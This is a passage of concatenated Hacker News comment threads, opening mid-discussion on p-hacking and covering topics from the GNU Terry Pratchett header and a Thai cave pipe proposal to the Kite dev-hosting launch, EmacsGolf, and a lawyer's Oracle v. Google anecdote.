</comment></comment></comment></comment></comment><comment><USER21> This article is a good summary of the issues of the (mis)use of statistics in science. Having done some research myself, in most cases the statistics don't scream a particular message to you, and it's really hard to understand the data. Even without any external pressures, statistical tools like p-values have limits. If you run 10 different models (all a priori reasonable) and 8 of them seem to say roughly the same thing, does that mean your result is correct?

</comment><comment><USER22> Science might not be broken for the reasons mentioned, but I find the article overlooks the greatest evidence of all which is the article itself.

Objectively deconstructing the practice of p-hacking is science at work _and_ a scientific work. So say, if we devised a way to measure p-value based research for it's p-hack-ability, we would have a way to validate what that research is saying (or not saying), as well as test the integrity of the research and its researchers.

</comment><comment><USER23> I saw a great talk about this @ SIAM data mining by Dave Madigan, for [http://omop.org/](http://omop.org/)

Basically, they took a TON of demographic research in the health sciences, explored all possible hyperparameter tunings, and found that they could get p-values of 0.05 in either direction for most of the papers depending on choice of data sources and many other types of hyperparameters.</comment>


GNU Terry Pratchett - <AUTHOR> http://www.gnuterrypratchett.com/ <comment><AUTHOR> Some more context is available in this Reddit thread:

[http://www.reddit.com/r/discworld/comments/2ysv26/sir_terry_...](http://www.reddit.com/r/discworld/comments/2ysv26/sir_terry_has_gone_for_the_long_walk_across_the/cpcmru1)

</comment><comment><USER2> Rather beautifully appropriate. I'd be delighted to see this adopted, and would myself, if I ran my own webserver these days.

<comment><USER3> Yes, let's waste 40 bytes on EVERY SINGLE HTTP REQUEST. That's a fitting tribute. What's with the pointless GNU shoe horned in as well?

<comment><USER4> Valid question, and not easily duckduckgoable. I found this explanation on tumblr, by blackboardmonitor. I wish I knew how to link to the damn thing, but I can't figure out the tumblr interface.

        In Terry Pratchett's Going Postal, the operators of the clacks
        tower use "GNU" as a code to mean the message should be passed
        onto every tower. An article on wiki-Lspace says that "The G in
        the code means to send it on the U at the end means to turn the
        message around at the end of the line and the N means not logged."

        When a clacks operator died while working, or was killed, their
        name was passed in the overhead with "GNU" in front of it, as a
        way of commemorating them, of not letting them die, because, "a
        man is not dead while his name is still spoken". It's a way of
        keeping them alive, you see.

        Terry Pratchett, may he rest in peace, wrote the clacks as a
        fantasy equivalent of social media, of emails, in particular, but
        general interweb communication as a whole. Therefore, people are
        posting "GNU TERRY PRATCHETT" because it's the equivalent in our
        world of commemorating him on the clacks; we're keeping him alive,
        in a way, in a way which I think he would have liked.

        Because no one is really dead until the ripples they caused die
        away. So, now & until I myself die: GNU Terry Pratchett.

<comment><USER5> I don't see any real connection. The HTTP header doesn't make the requested web page be sent over and over.

A better way would have been to establish a series of SMTP servers ("towers") that forward the mail in a circle endlessly.

Let people subscribe to that kind of mailing list, getting one mail per day. And let the SMTP chain exist as long as there is one subscriber left.

<comment><USER6> I'm considering a cookie instead of an X- header, to at least mimic the "U = turn it around" aspect by the browser sending it back next time...

</comment></comment></comment></comment></comment><comment><USER7> [http://www.orangutan.org.uk/](http://www.orangutan.org.uk/) and [http://orangutan.org/](http://orangutan.org/) oblig. plug for Orangutan Foundation (UK) and Orangutan Foundation International (US), who try to protect them and their habitat.

</comment><comment><USER8> It's an interesting idea, but it should not be implemented.

We all lose people of value: Terry Pratchett, Aaron Schwartz, Robin Williams, etc. The worth of such individuals is rarely objective and is mostly subjective, but sometimes on a large scale.

Were we to memorialize everyone of value to someone somewhere in such a manner, the weight of the headers could easily outweigh the value of the information we're trying to access.

Yes, it is proposed for one person only. Next week, it might be one more. The week after, a few more. And so on. Turtles all the way down.

Just because we can do a thing, doesn't mean we should.

</comment><comment><USER9> was the ad at the bottom of the page really necessary...?

<comment><AUTHOR> Didn't even notice that, I've an an blocker on - the id of the element is "shamelessmoneygrab". Hmm.</comment></comment>


4chan: The Skeleton Key to the Rise of Trump - <AUTHOR> https://medium.com/@DaleBeran/4chan-the-skeleton-key-to-the-rise-of-trump-624e7cb798cb <comment><USER2> While I don't agree with it being flagged and locked, this is a repost of an article that was flagged and locked. Just a heads up.

<comment><USER3> Reading the first section, I see no reason for it to be flagged or locked. That is, unless the thread attracts 4chan-like discussion.

<comment><USER2> IIRC Someone objected to the characterization of gamergate, and I would have to suspect that mods decided that flagging was a lot easier than wading through that endless tire fire. I agree with you though, I thought it was an interesting, if not entirely comfortable article.

<comment><USER4> It's probably more political than HN is currently in the mood for, but I found it fascinating and thought-provoking.</comment></comment></comment></comment>


Companies Overspend on Marketing, Underspend on Product - <AUTHOR> https://amplitude.com/blog/2016/03/08/companies-underspend-product/ <comment><USER2> Speaking of marketing... At 19 points with 0 comments my suspicion is that this article is an engineered "content marketing" effort on the part of Amplitude :)

<comment><USER3> That's probably true. However, this is one company that has really nailed product from the get-go. I've tried numerous other analytics platforms and I couldn't be happier with their service.

<comment><USER4> Couldn't agree more. Moved from mix panel to amplitude. Exited to try compass as well.

</comment></comment></comment><comment><USER5> CEO of Amplitude here, there hasn't been much in the way of how to use analytics to systematically improve your retention- hoping to change that today. Happy to answer any questions.</comment>


India Calling: The "brain drain" becomes "brain circulation." - <AUTHOR> http://www.nytimes.com/2008/11/23/weekinreview/23anand.html?_r=1&em=&pagewanted=all

<comment><USER3> Thanks for the article because I was beginning to feel lonely.

I moved to the Philippines from Silicon Valley in 2003 (during dotcom bust) to check out high-tech scene back in my homeland.

Was supposed to stay only for a couple of years but turns out there are more than a few dreamy-eyed hackers (which I hooked up with) turning their backs on Microsoft, HP and the BPO industry. The bureaucracy is numbing and the corruption sucks but generally happens to businesses that don't want to pay taxes (personal, corp, custom, etc.).

I have since setup operations for Friendster and am working on my startup.

The PH gov has setup a special economic zone (5 year corp tax holiday) if your product serves a mostly (50%+) foreign customer (great for startups).

With so much local talent, a modified YC model would contribute greatly to innovation and more startups. If you're interested, ping me.

</comment><comment><USER4> My day job (central Japan, if you were Japanese you'd have heard of it) figured we'd get the best of both worlds: bring cheap Indian engineers to Japan. Pay them cheap junior Japanese wages for a year while bringing them up to something approaching our quality standards for domestic labor. Return them to India so that they can spread what they learned among the rest of the engineers who cost 25% of engineers in central Japan.

Not sure if it will be successful or not but I can't say I mind, as I'm employed precisely because the company sees the rest of the world as being full of opportunities.

On a tangentially related note, my previous job (also in central Japan) involved working with another Indian. At the time we were both translators. After leaving that job he took a job at the rubber company. After two years of training they sent him back to India to be the assistant to the Japanese head of their Indian factory -- I think his actual title is VP, but his real job is right-hand-man. The company pays him every single yen of a Japanese manager's salary (except in rupees), and my friend, quote, lives like a king such as one does not hear about except in fairy tale books.

So yeah, there is something to be said for brain circulation. Which makes me wonder -- when I go back to America, do I count?

</comment><comment><USER5> I would be more appreciative if he weren't a journalist by occupation (and an aspiring novelist by extension) Emerging markets (or ex-commonwealth) literature is now trending upwards and the recent Man Booker prize was awarded for an Indian expat's debut novel (The White Tiger by Aravind Adiga [http://www.amazon.com/White-Tiger-Novel-Aravind- Adiga/dp/141...](http://www.amazon.com/White-Tiger-Novel-Aravind- Adiga/dp/1416562591) )

So it isn't really a brain circulation as much as one individual's canny career movie for someone whose profession is writing. And it did work, he got published in the NY Times!

If I were more uncharitable, I'd call this "artistic slumming" for a new experience fix.

<comment><USER6> If the circulation happens only for the brains in drain elsewhere and are looking for opportunities here with the key designation being an NRI - <USER2> doesn't help much!

</comment></comment><comment><USER7> yeah actually i had hoped to see some insight in the article, but didnt find anything new in there.

Again I wanted to see something like info on more favorable climate for entrepreneurs (which, is getting better).

</comment><comment><USER8> Total Fluff

</comment><comment><USER9> fluff piece</comment>


Sorting cells with sound waves - <AUTHOR> http://newsoffice.mit.edu/2014/sorting-cancer-cells-with-sound-0825 <comment><USER2> Interesting. I work at a company which focuses on finding circulating tumor cells, though using a very different method (a blood draw + tissue scan + image analysis. I work on the scanner and image analysis portions.) We currently have a significantly higher success rate than that of this device (71%), but we also have a turnaround time of a couple of weeks.

However, we have found that morphology (nuclear and cellular) and the amount of epithelial tissue present are important indicators and predictors of a patients current health and future medical state. With this approach neither may be ascertained (as far as I can tell. The raw size of a cell is not directly proportional to the amount of cancerous tissue present). They can however detect the number of rare events, which is a large part of the equation.</comment>


Vector Processing Languages: The Future of Analytics and Real-Time BI (2010) - <AUTHOR> http://conceptualorigami.blogspot.com/2010/12/vector-processing-languages-future-of.html <comment><USER2> Funny that R isn't mentioned at all...

<comment><AUTHOR> About halfway through: "Being able to interface these fabric-scaled vector processors with rich visualizations of the sort one encounters in R, Excel, MATLAB, Tableau, and other real-time data graphing exploration vendors makes for a great marriage of equals."

<comment><USER2> You are correct! Not sure how I missed that. Not only is it hard to search for R on the web, but it can be easy to skip over in list. But interesting that it's not mentioned as a vector language itself.

<comment><USER3> Indeed, here it's only referred to as a "real-time data graphing exploration vendor" \- and I don't even know what that means

Previous HN discussion re: R vs APL: [https://news.ycombinator.com/item?id=9780542](https://news.ycombinator.com/item?id=9780542)</comment></comment></comment></comment>


Ask HN: Could big rubber pipes save the Thai cave boys? - <AUTHOR> I'm wondering if large rubber-like pipes could be used to make crawl-able tunnels through the submerged areas of the cave?
Divers would carry the rubber pipes through the cave such that both ends are above air, the water would be pumped out of them, and then the boys would just need to crawl through the pipes.
If a suitable type of pipe could be found/made this seems like a good solution.
What does everyone think? <comment><USER2> Interesting, I don't see any "first principles" reason why this couldn't be done, except for some bend radius that might be just too tight [0]. Also the pipe would have to be made of something more solid than rubber to overcome the water pressure (it's not much but it's still there).

From a risk management point of view however this solution seems a bit reckless, as a rescuer you never want to cause more damage/hazard than what's already present and this untested solution could fail in some catastrophic ways. What to do if the pipe becomes punctured? How do you rescue somebody that becomes stuck for whatever reason? (think also psychological factors)

If you compare this to just waiting a few months and walking out you might conclude that it's not worth the risk.

[https://www.theguardian.com/world/ng- interactive/2018/jul/03...](https://www.theguardian.com/world/ng- interactive/2018/jul/03/thailand-cave-rescue-where-were-the-boys-found-and- how-can-they-be-rescued)

<comment><USER3> Such a pipe would have to be placed with water inside, then pumped out once its installed. Why? Because it takes a lot of force to put an air-filled tube through water.

I see no way that such a pipe could be deployed. Even without buoyancy issues, there will be a lot of friction from the cave walls, and going around bends. The force can't come from simply pushing it it, as anything flexible enough to bend around curves will also crumble from the pushing force.

If I read it right, the pipe would need to be 6 meters deep in some points in the cave. As you might recall from Star Trek IV The Voyage Home, the transparent aluminum scene, the whale tank needed 6" of Plexiglass. If I use the "Aquarium Thickness Calculator (xls)" from [http://www.sdplastics.com/aquaria1.html](http://www.sdplastics.com/aquaria1.html) and plug in 200 inches (for about 6 meters), then it says it would need 16 inches of Plexiglass.

You might shave that down, with better materials that don't need to be clear, but, as The Guardian points out elsewhere, there isn't much room: "Parts of the cave system are reportedly so narrow that Thai Seal teams and the volunteer rescue divers had to remove their own breathing apparatus to get through"

Furthermore: "It's about 11 hours – six on the way from the entrance to where the kids are and five on the way back"

Who will guide the pipe at it goes through the route? Once the pipe has gone through one of those constrictions, can anyone else get by? If the pipe blocks the route, then what?

And, how long would it take to lay such a pipe?

<comment><USER2> To eliminate some of the raised issues, particularly around the forces acting during the installation, the conduit could be assembled from sections, in the guise of HVAC ventilation shafts[0].

With that said, I won't add any further speculation since mechanical/materials engineering is really not my area of expertise. Someone knowledgeable could provide insight on: what material (steel?) is suitable for such a task and what are processes for watertight bonding performed underwater (welding?).

0: [https://bigreddog.com/wp- content/uploads/2016/02/Ductwork-1-...](https://bigreddog.com/wp- content/uploads/2016/02/Ductwork-1-1-768x337.jpg)

<comment><USER3> There is no need for a materials engineer. We can look to existing structures which hold water to get an idea.

Above ground pools use 1/8" steel for about 1-1.5 meters of water depth. (Eg, [https://www.answers.com/Q/How_thick_is_a_swimming_pool](https://www.answers.com/Q/How_thick_is_a_swimming_pool) )

Pressure is linear with depth, so 6 meters would require about 1/2" of steel.

HVAC ducts like you pointed to are about 1/40". (Based on numbers I see at [https://www2.iccsafe.org/states/newyorkcity/Mechanical/PDFs/...](https://www2.iccsafe.org/states/newyorkcity/Mechanical/PDFs/Chapter%206_Duct%20Systems.pdf) ).

<comment><USER2> I just pointed at hvac ducts to illustrate the kind of tech I was referring to (pipes assembled from small sections), wasn't suggesting that actual hvac pipes should be used

<comment><USER3> Ahh, I see. I misunderstood.

Your model, I think, is that the divers would lay at least 1km of 1/2" thick steel pipe, from the far end backwards (since otherwise there's no way to get the segments to the end). Call it 1cm for easy of calculation.

Steel is 8g/cubic centimeter. Assuming the divers can carry 20kg (which seems large), each segment is at most 25 cm long. That's at least 4,000 segments, each to be welded. Assuming it takes 5 minutes per weld, that's 13 days of non-stop work. And I am assuming that the welding equipment doesn't need to be moved in.

As Johnny555 pointed out elsewhere in these threads, the divers are having problems putting in a communications cable, which is much smaller and more flexible.

<comment><USER2> Thanks for doing the math, looks plausible to me. Just for the argument sake, since there seem to be logistical problems (hey, Hanoi is not that far away, right?) to the whole solution: you could carry out several non-adjacent welds in parallel and then join these segments together, that would speed things up.

The data cable seem to have water damage problems, something that would not be a concern here it seems.

<comment><USER3> How do the divers get to the non-adjacent welds if the pipe blocks their way?

How are they supplied?

Why should we assume that the require equipment won't also suffer from water damage? Eg, "around small passages" might mean the cable scraped against the wall, causing water to leak in.

BTW, it seems the critical section is under 5 meters of water, not 6 as I thought, and is 70cm across.

And it seems one of the divers just died. If that's an indication of the mortality rate, then imagine how many might die building a tube.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER4> Note that they had issues just pulling a simple communications cable, I can't imagine that a 2ft diameter rubber tube is going to be easier.

 _However, attempts to install the cables have been unsuccessful so far, Maj. Gen. Bancha Duriyaphan said. One cable suffered water damage as divers transported it "around small passages." Teams are attempting to take in a new one._

[https://www.cnn.com/2018/07/04/asia/thai-cave-rescue- intl/in...](https://www.cnn.com/2018/07/04/asia/thai-cave-rescue- intl/index.html)

</comment><comment><USER5> I was thinking this too. Wide PVC plumbing pipe with joints for the angled sections, just for the water filled sections. The person is wrapped, arms up, and pulled at speed through the pipe via a rope attached to some kind of harness attached to the waist, legs and feet.

</comment><comment><USER2> Elon Musk seem to think this is an option worth exploring: [https://twitter.com/elonmusk/status/1015105500105412610](https://twitter.com/elonmusk/status/1015105500105412610)

</comment><comment><USER6> AFAIK, there's no path through the tunnel that would allow one end to be brought through while keeping it above water.</comment>


Show HN: Kite - Create and share Django and Rails applications in seconds - <AUTHOR> http://www.runkite.com

<comment><USER2> Love it, this is great. I'd definitely use it for quick prototypes and hackatons.

It says "No setup, No configuration". But what if I want to configure stuff? For instance, there's a lot of things going on in settings.py.. to name a few: \- setting up the DB \- email config \- celery (tasks and stuff) \- Caching

How much control do I have on the "cloud"? I.e. if I want to create a folder to put the files uploaded by users? If I want to run background tasks?

Also: How does one switch from dev to production? Does Kite plan to offer a robust solution for production down the road? I'm not overly concerned because since I have a local folder, I can easily deploy it to any vps.

I have dozen of django projects and I'd gladly give it a fair try, let me know: phzbox at gmail.

<comment><AUTHOR> Thanks!

We wanted zero setup for devs who may just want to get something up and running right away. The video shows the basics, and we definitely realize there is much more to building a web app than that.

We want to make configuring your app and using common services easy without Kite getting in the way. That's our mission. Although we showed direct shell access to your app in the video, our end goal is to give developers a machine they can call home as their development environment - root access and all.

For databases, we're making it a simple click to bind a database to your app. Similar to Heroku, we plan to expose different options as a service and they will be connected to your app through the dj_database_url python module (for Django). For beginners, we'll try to edit your settings to help make this seamless (your settings.py files in this case).

For other services such as email, task queues like Celery, memcached, etc. we plan on taking a similar approach - offer it as a service on a separate machine that can be easily added to your app, or alternatively just install it in your environment if its something very lightweight or serverless (like sqlite).

Like other hosting services we'll provide storage for things like storing user media, static files.

We're really aiming to start with development, since there's this large gap between development and prod that creates serious time-wasting problems that each member of our team has felt. Companies like Heroku are solving the production problem very well, but developers are still left to setup their own environment and deal with problems leading up to prod.

That being said, we see the serious benefit in using the same stack for development & production, and, like others have mentioned, testing, staging, CI. It's definitely on our mind, and we'd love to see this kind of fragmentation disappear.

Great to see that you're interested, and we'll definitely be following up with you soon.

</comment></comment><comment><USER3> Looks interesting. But, a similar solution exists with a similar name called PageKite ([https://pagekite.net/](https://pagekite.net/)). They do not deploy your application code to the cloud. With PageKite you run your environment locally and then create a tunnel from a public address to your local environment.

I think the only benefit to Kite is if you want your development application to be running from a public address for a long time.

The PageKite approach allows you to have whatever web environment you want and to bring it up/down at will. I have used PageKite for over a year and it has worked very well. It also seems safer, since I wouldn't want to deploy my development changes to a public web site with some unintended security flaw.

<comment><AUTHOR> Thanks for the feedback!

While PageKite definitely offers a great way to expose your local web app to others, we want to get rid of the local setup process altogether, so developers can just spin up an environment using our service and start working from their favorite machine.

Our initial target is newer web developers who may find the setup process daunting, or developers who may manage several projects but don't want to worry about about the details behind setting up different web frameworks and adding new services. As many can attest, setting up Rails isn't exactly easy, and it can be even worse if you're not familiar with the command line, or don't have xcode installed.

We're definitely working on ways to allow developers to work privately and avoid publishing by default.

<comment><USER3> I agree your approach has a different set of advantages. It's just the end goal is similar and the name is so similar. That's more the point I was trying to make.

</comment></comment></comment><comment><USER4> Very cool! The one-click setup blew my mind. The only other thing I would expect with this is some kind of vcs integration, like git integration.

<comment><AUTHOR> Thanks - we really want to stay out of your way while taking care of the common pains of web development.

So in the case of git, you can keep using VCS just like before - place your local files in a repo and use the Github app / command line. Our goal is for you to continue to use the workflow you're used to.

</comment></comment><comment><USER5> I think this would be interesting if you could extend something like packer that was on HN the other day. It's great to instantly have a dev environment for everyone but I'm still more inclined to use one that is the same image as my production box, allowing you to create custome images with packer, vagrant or some similar tool and deploy that to kite would be much more beneficial IMHO.

Overall its a great concept and something I think you'll see done by companies like Heroku as a form of lock-in as teams grow and never really learn how to virtualize their workflow. If you can get on the front of that movement it will be interesting to see where this project goes.

Good Luck!

</comment><comment><USER6> I assume this will be free for the duration of the beta, and I assume you haven't decided (or aren't ready to publish) what pricing and resource quotas will be like?

Some friendly advice: From the homepage, it seems that the focus is on apps in development. This is well and good, but I think your marketing should also mention that you're great for hosting apps in production too. And if you're _not_ great at that, yet, you should try to improve -- for the good and simple reason that, at the end of the day, it's products, not prototypes, that generate revenue for your developer-customers and allow them to pay you.

</comment><comment><USER7> This is cool - very interested in how well the rails part will work. I see this as a more lightweight alternative to just deploying images, and I think that will be useful for smaller dev teams to reduce setup overhead.

</comment><comment><USER8> Looks slick, but how is this different from just running "django-admin.py startproject mysite"?

When developing something serious, you typically want to match the stack you will be deploying on. So far, the two easiest (not necessarily wisest) options have been Google App Engine and Heroku, with latter being my choice of late due it running on AWS and "closeness" to S3 and DynamoDB.

<comment><AUTHOR> Sorry for the delay in answering and thanks for the comment. This is a good question.

Our video is indeed starting a django project for you - we take a step further and let you do that in a click without having to set up a virtualenv, and it's all hosted. This is the basics, but the idea is to move your development onto a hosted server that is the same or much closer to your prod environment.

Ideally, this hosted environment can offer you much more than what you get by installing a different version of everything you'll be using in production onto your laptop.

<comment><USER8> Thank you for the clarification. It appears my confusion stems from me doing similar workflows, just with existing tools - when I tinker with either GAE or Heroku, I deploy nearly continuously, which achieves the same results, but on the exact infrastructure that the final version will be deployed on.

I definitely see the benefit for those not utilizing such practice already.

</comment></comment></comment><comment><USER9> This sounds really intuitive and simple to use!

I'd love to use this to develop my Rails applications. I would be using Kite as a 100% staging server to test things out before pushing to production. I don't have to worry about setting up different RVM gemsets for different apps.

<comment><AUTHOR> Good to hear - I've definitely visited gem dependency hell, and been to companies where you had to fight for a staging server. We hope to make Kite a great way to both host your work but also test & stage it in a linux box to avoid any gotchas from developing on a different environment than your prod machines.

</comment></comment><comment><USER10> I really like this as a solution for spinning up quick cloud apps and splash pages. I was wondering which other environments you are supporting at the moment because I saw Rails, Django and Node.js and quite a few people I had take a look at it where I work asked the same question.

</comment><comment><USER11> Looks like it could be a useful tool. Just a picky, grammar-related thing: the word "setup" in "Setup Rails, Django, databases, search engines & more in seconds." should be "set up", two words, since you're using it as a verb.

</comment><comment><USER12> Love this. As a novice developer, I think I spend 90% of my time dealing with problems I have because of the OS I'm running or other things I have installed.

A solution like this is the perfect environment for someone who is trying to learn to program.

</comment><comment><USER13> Interesting.

I did notice fan noise increasing steadily in the background. Hopefully those issues will be sorted out before release or are caused by the screen casting software. At the very least, its presence indicates an honest demonstration.

</comment><comment><USER14> This looks interesting, valuable, and fun and I certainly signed up.

Your clean page, and the design and colors of your icon led me to think at first that this was a google project.

Compare your logo to that of google play's logo.

</comment><comment><USER15> First off, very cool! Nice work.

If multiple developers can modify files at the same time, how do you handle merge conflicts when syncing?

<comment><AUTHOR> Great question - file syncing in general can lead to so many problems. We're working on making it play well for single developers with multiple clients/workstations. Our goal is to really provide an awesome infrastructure to host your dev environment that you can access from anywhere. Conflicts could still arise with a single developer as they work on different machines, but we're trying to make it easy to merge work, such as in the case where one of your machines gets out of sync but still has unpushed changes made to the workspace.

At this point we're not focusing on collaboration between developers. There are incredible companies like GitHub whose core mission is to make code collaboration an amazing experience, and we really want to help developers leverage this while not worrying about environment, config & setup issues.

Thanks for the comment!

</comment></comment><comment><USER16> How do I configure my own stack if I need to? For instance, I would like to use Ruby 2.0 and Rails 4.0 instead of Ruby 1.9 and Rails 3.2?

<comment><USER16> regardless, I loved the Idea - It's like Dropbox for my apps. :)

</comment></comment><comment><USER17> Very cool! I want to know what is the payment plan of Kite? Thanks.</comment>


How short can we write numbers in JavaScript without alphanumeric characters? - <AUTHOR> https://accents-of-javascript.tumblr.com/post/154752921455/how-short-can-we-write-numbers-in-javascript <comment><USER2> You can do many of them shorter. Pretty much all of them above length 19 can be substituted with something like

        94: "^".charCodeAt()

EDIT: sorry, I'm wrong, I didn't realize you don't allow letters.</comment>


EmacsGolf (2013) - <AUTHOR> http://jcarroll.com.au/2013/08/25/emacsgolf/ <comment><USER2> I started an Editor Rosetta Stone of sorts.

[https://github.com/melling/EditorNotes](https://github.com/melling/EditorNotes)

Emacs and vim have been battling it out for 40 years. There's probably room to improve the typing efficiency of both.

Emacs has ergoemacs and god-mode, for example.

[https://github.com/chrisdone/god-mode](https://github.com/chrisdone/god-mode)

[http://ergoemacs.github.io](http://ergoemacs.github.io)

Plus you can use vim key bindings.

Is a modal editor better? Should key bindings be built around a more efficient keyboard layout, like Programmer Dvorak, for example?

[http://www.kaufmann.no/roland/dvorak/](http://www.kaufmann.no/roland/dvorak/)

<comment><USER3> ergoemacs-mode has support for defining the bindings independently of whether you're using Colemak, Dvorak or QWERTY. That's a pretty good idea since the bindings are not really about any specific layout but should be picked based on travel distance etc.

While I've found the mode very useful in developing my own setup I've moved on from it because it seems to make too many things randomly stop working for me. I like just picking my own bindings.

For me one good goal is to try to get as much as you can of the editing setup system-wide instead of a specific set of keybinds in just that one editor. With a non-modal one this is easier as there are standards like CUA and some other well-established shortcuts that tend to be present in many programs. The default placements just aren't all that great so a tool that can map keybindings to any kind of input can help you make use of them. I use xmonad to do it.

</comment></comment><comment><USER4> Tim Visher recorded a series of videos of himself playing VimGolf in Emacs [1]. If you want to play there is a great VimGolf client for Emacs [2].

[1] [https://vimeo.com/timvisher/videos](https://vimeo.com/timvisher/videos)

[2] [https://github.com/igrigorik/vimgolf](https://github.com/igrigorik/vimgolf)

<comment><USER5> I don't have many videos _but_ my emacs videos. That said, this is a slightly more specific link: [https://vimeo.com/channels/222837](https://vimeo.com/channels/222837)

<comment><USER3> These are great, I've been looking of examples of skillful Emacs use. Are there any videos of you or someone else putting the knowledge into practice while working on code?

<comment><USER4> Have you seen Magnar Sveen's videos?

He has a series called Emacs Rocks of short (most are <5 minutes, I think) videos each showcasing one related set of commands, a series called Extending Emacs where he writes a new minor mode for Emacs and a series called Parens of the Dead where he write a webgame in ClojureScript (that last one doesn't star Emacs, but Emacs definitely plays a role).

You can find all of them at [http://emacsrocks.com/](http://emacsrocks.com/)

<comment><USER3> Thanks, I've taken a look at the Parens of the Dead series earlier and I've definitely been enjoying the Emacs Rocks videos. I'll check out Extending Emacs too. Parens of the Dead is the kind of thing I was looking for more of.

</comment></comment></comment></comment></comment><comment><USER3> VimGolf is a fun pastime but in terms of speed I feel focusing only on keystrokes might not give you the full picture.

If the solution requires mental effort to do, some other way that is is easy and fast to arrive at in most cases could be faster in terms of time elapsed.

Would be fun to have the equivalent of typeracer for VimGolf with a series of tasks that would be similar to what you encounter when programming and a race against time. I wonder if it would be possible to come up with some kind of a "Edits Per Minute" that wouldn't be completely misleading.

</comment><comment><USER6> That's where these comparisons always fall down: you're trying to do something in X number of keystrokes in vim, whereas in Emacs you'd write your own function to do whatever it is. How do you compare those?

Coincidentally (or not), re: the challenge in the above post, I wrote a command that solves exactly this problem: yank-interleaved. [https://www.emacswiki.org/emacs/KillingAndYanking#toc3](https://www.emacswiki.org/emacs/KillingAndYanking#toc3)

How many keystrokes does it take to install and use that function?

<comment><USER4> I don't think you give Emacs enough credit: sure you can write an Elisp function to do exactly what you need, but you can also usually do it in a few keystrokes using built in commands. Try VimGolf in Emacs sometime, my experience is that it's usually not too hard to get keystroke counts close to those of the vimmers.

</comment></comment><comment><USER7> So while vim is my terminal editor of choice, I use Sublime for programming. I can do the challenge in 12 keystrokes, 11 if you don't have to delete a trailing line.

1\. control+g (Goto line number) 2&3\. 11 (line 11) 4\. enter 5\. cmd+shift+down 6\. cmd+x 7\. backspace (delete trailing line) 8\. cmd+shift+up 9\. cmd+shift+l (multiple cursor mode) 10\. right arrow (line up cursors) 11\. tab 12\. cmd+v

<comment><USER8> Did it in 9.

1\. DOWN hold until line 11

2\. SHIFT+DOWN hold until end of file to select

3\. CMD+X to cut

4\. BACKSPACE to remove space

5\. CMD+A to select all

6\. CMD+SHIFT+L to multiline

7\. RIGHT to line up

8\. TAB

9\. CMD+V</comment></comment>


ASK PG: Why search display comment's score? - <AUTHOR>

I noticed that the search feature display the score of old comments
https://hn.algolia.com/?sort=byPopularity&prefix=false&page=0&dateRange=all&type=comment&query=Do%20not,%20do%20not,%20DO%20NOT,%20try%20writing%20raw%20transactions%20at%20home.
( picked this randomly ).
The website, and the HN API doesn't. Any reason for that? <comment><USER2> Why do you even care seriously there's a million things to focus on in life why this</comment>


MotorCortex.js – CSS-like animations definition - <AUTHOR> http://motorcortexjs.com/

<comment><USER2> Not sure if you're the author, but I tried to follow the documentation and in the very early steps I get stuck. I've reported on github, it is basically a typo for the window object name MotroCortex and then .fire() method does not exist.

<comment><AUTHOR> First of all thanks for getting in to it. Yes, I'm the author. I've seen your post on github but I'm pretty sure you're doing something wrong. I would like to see your code so we can discuss it. Thanks again</comment></comment>


What Separates the Extremely Successful from the Pack? - <AUTHOR> http://blogs.hbr.org/cs/2011/04/what_separates_the_extremely_s.html <comment><USER2> All of the data presented here is consistent with the hypothesis of "pure dumb luck".

You would expect to see more answers like "My wife taught me everything I know about interpersonal skills" and "I never make an important business decision without consulting her" from the highly successful group, because they are the ones who make important business decisions and believe they _have_ interpersonal skills. They get that exterior validation from their outward success. People who are only moderately successful presumably would be less comfortable crediting their mediocre success to their wife, so they answer with the little things that their wife does for them, like cleaning their shirt.

Similarly, the "propensity for creating value in non-obvious ways" may also reflect hindsight bias. People tend to get credited for their successes, and then rise to the level of the organization that their successes merit. Now imagine that two mid-level managers take identical risks, except that manager A's risk pans out and manager B's does not. Manager A will be thought of as a creative, original thinker and get promoted, but manager B will still be thought of in terms of his other successes, which were probably more ho-hum. If you look at the top executives, _of course_ they're going to seem like they create value in creative, original ways, because that was how they got promoted in the first place.</comment>


Webapps for website owners: Review of 25+ services - <AUTHOR> http://newsletter.agiliq.com/big-list-of-webapp-reviews-for-website-owners

<comment><AUTHOR> If you know of some cool webapps, I would like to review them for part 2.</comment>


Oracle v. Google: "the value of this case keeps getting smaller and smaller" - <AUTHOR> http://www.groklaw.net/article.php?story=20120218041255197

<comment><AUTHOR> I began my legal career working for several years at in Big Law. In one case, a stultifying bureaucratic management for a major steel company was building a new plant. After hiring a firm out of the midwest to manage the construction on a fixed-fee contract, it proceeded to make life miserable for that firm by making never-ending revisions to the project plans throughout the course of construction and this not only caused that firm to incur cost overruns but also had the effect of causing substantial delays in getting the work done. Everything was done through a multi-layered committee committee structure, with memos continually being circulated about needs to separate the "wheat from the shaft" and like gems. When it was all done, this mega-sized steel company went out and hired a professional hatchet firm to assemble a "delay damages report" (I don't remember the exact name but I am sure it was much more high-toned than my description here). It then used this report to send a demand letter to the midwest firm, claiming that their management of the construction project was inept and that it had to pay millions of dollars in damages on account of the delays in construction. When they refused, they got sued for the claimed damages.

I can still vividly remember how, as a young lawyer, I was so stunned by the sheer _phoniness_ of this so-called expert report - here were a bunch of bungling, bureaucratic committee types who couldn't make a key decision to save their lives using a sham report to try to lay the blame for their own faults at the feet of an innocent firm that had simply done its job. _Everything_ in that report was couched in passive voice and dressed in self- important language - to a point where you had no idea who had done what but had only a vague sense that this or that "had transpired" with this or that result "having ensued." What is worse, the report was replete with dishonest (and obviously deliberate) renderings of key facts and with conclusions that could only be reached by the most absurd disregard of logic imaginable. I remember thinking to myself: "this is the suit-and-tie version of a stick-up in some back alley." And the case worked out true to form, with what must have appeared to be surreal results from the viewpoint of the midwest firm's executive management. Six lawyers and four paralegals were assigned to the case. Thousands of boxes of documents were assembled with lawyers and paralegals being tasked to go through each document mindlessly summarizing it on a "digest sheet," with the results ultimately to be compiled into an omnibus analysis report that could in turn be used by competing experts to attempt to rebut the absurdities of the original report. Thousands of hours of billable time racked up and this process was maybe 10 or 15% done when I decided to do a very careful analysis of a relatively few key documents only, to put the story in a context that readily demonstrated the sham nature of the "delay damages report," to summarize everything in a 50-page write-up, and to give that to the partner in charge. Within a short time, the executive management of our client used that write-up to meet face-to-face with their counterpart executives on the other side and the case quickly settled for a very modest money payment. What a mess, I thought at the time, and all from a phony expert report.

